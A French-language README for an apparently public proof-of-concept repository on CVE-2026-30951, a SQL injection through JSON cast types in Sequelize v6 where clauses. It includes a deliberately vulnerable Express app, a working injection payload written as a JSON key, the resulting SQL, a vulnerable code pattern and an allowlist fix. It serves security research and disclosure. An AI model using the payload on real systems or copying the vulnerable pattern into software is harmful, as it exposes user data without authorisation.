
Preuve de concept et application Node.js/Express/Sequelize vulnérable démontrant CVE-2026-30951, une injection SQL de type cast JSON dans les clauses where de Sequelize v6, avec étapes de reproduction et recommandations d'atténuation.
★ CVE-2026-30951 PoC d'injection SQL dans l'ORM Sequelize ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 est une vulnérabilité d'injection SQL dans Sequelize v6, un ORM Node.js largement utilisé.
La vulnérabilité réside dans le traitement des clauses
whereJSON/JSONB. Lorsque Sequelize analyse une clé de chemin JSON contenant::, la valeur après::est traitée comme un type de cast SQL et est insérée dans le SQL généré sans validation appropriée.Si un attaquant peut contrôler les clés d'objets JSON transmises à une clause
wherede Sequelize, il peut manipuler la requête SQL générée.
| Catégorie | Version |
|---|---|
| Vulnérable | Sequelize v6.x <= 6.37.7 |
| Corrigée | Sequelize 6.37.8 |
| Non affectée | Sequelize v7 / @sequelize/core |
Ce dépôt contient une application de challenge minimale vulnérable utilisant Node.js, Express, Sequelize et SQLite.
npm install
npm start
L'application démarre sur :
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Le conteneur Docker démarre sur :
http://127.0.0.1:9100
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'injection.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Cela ne renvoie que les utilisateurs correspondant à la logique normale de recherche par nom.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Résultat attendu :
Toutes les lignes d'utilisateurs sont renvoyées.
La clé JSON forgée amène Sequelize à générer une expression de cast similaire à :
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Comme le type de cast est contrôlé par l'attaquant, la condition OR 1=1 modifie le comportement prévu de la clause WHERE. Le renvoi de toutes les lignes depuis le même point de terminaison de recherche confirme que l'injection SQL est possible.
La vulnérabilité est causée par une validation insuffisante des types de cast JSON dans Sequelize v6.
En interne, la logique de parcours JSON de Sequelize découpe les clés de chemin JSON sur :: :
jsonKey::castType
Le type de cast est ensuite utilisé dans le SQL généré comme suit :
CAST(<json_extract_expression> AS <cast_type>)
Dans les versions vulnérables, <cast_type> n'est pas correctement échappé ni restreint à une liste blanche sûre. Cela permet à une clé JSON contrôlée par l'attaquant de sortir de l'expression de cast et d'injecter du SQL.
Tout modèle d'application similaire à ce qui suit peut être vulnérable lors de l'utilisation des versions affectées de Sequelize :
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Ceci est dangereux car l'attaquant contrôle non seulement les valeurs JSON, mais aussi les clés des objets JSON.
Cette vulnérabilité est particulièrement dangereuse car de nombreux développeurs supposent que les constructeurs de requêtes ORM protègent automatiquement contre l'injection SQL. Dans ce cas, l'injection se produit à l'intérieur du SQL généré par l'ORM, après que l'application a déjà transmis des objets JavaScript structurés à Sequelize.
Selon la logique de l'application, l'exploitation peut permettre :
Il s'agit fondamentalement d'un problème CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL.
+-------------------------------------------+
| Attaquant |
+-------------------------------------------+
|
| Envoie un filtre JSON forgé
| avec une clé malveillante name::
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| La clause where JSON de Sequelize
| traite la clé contenant ::
v
+-------------------------------------------+
| Injection de type de cast SQL non échappé |
+-------------------------------------------+
|
| Manipulation de condition booléenne
v
+-------------------------------------------+
| Injection SQL confirmée |
+-------------------------------------------+
where JSON/JSONB de Sequelize::, sauf si explicitement requisconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Ce dépôt est destiné uniquement à la recherche en sécurité, à la validation défensive et à un usage éducatif dans des environnements contrôlés.
N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
Nous publions une analyse de CVE et de malware une fois par mois. Si cela vous intéresse, veuillez suivre les liens ci-dessous pour consulter nos publications.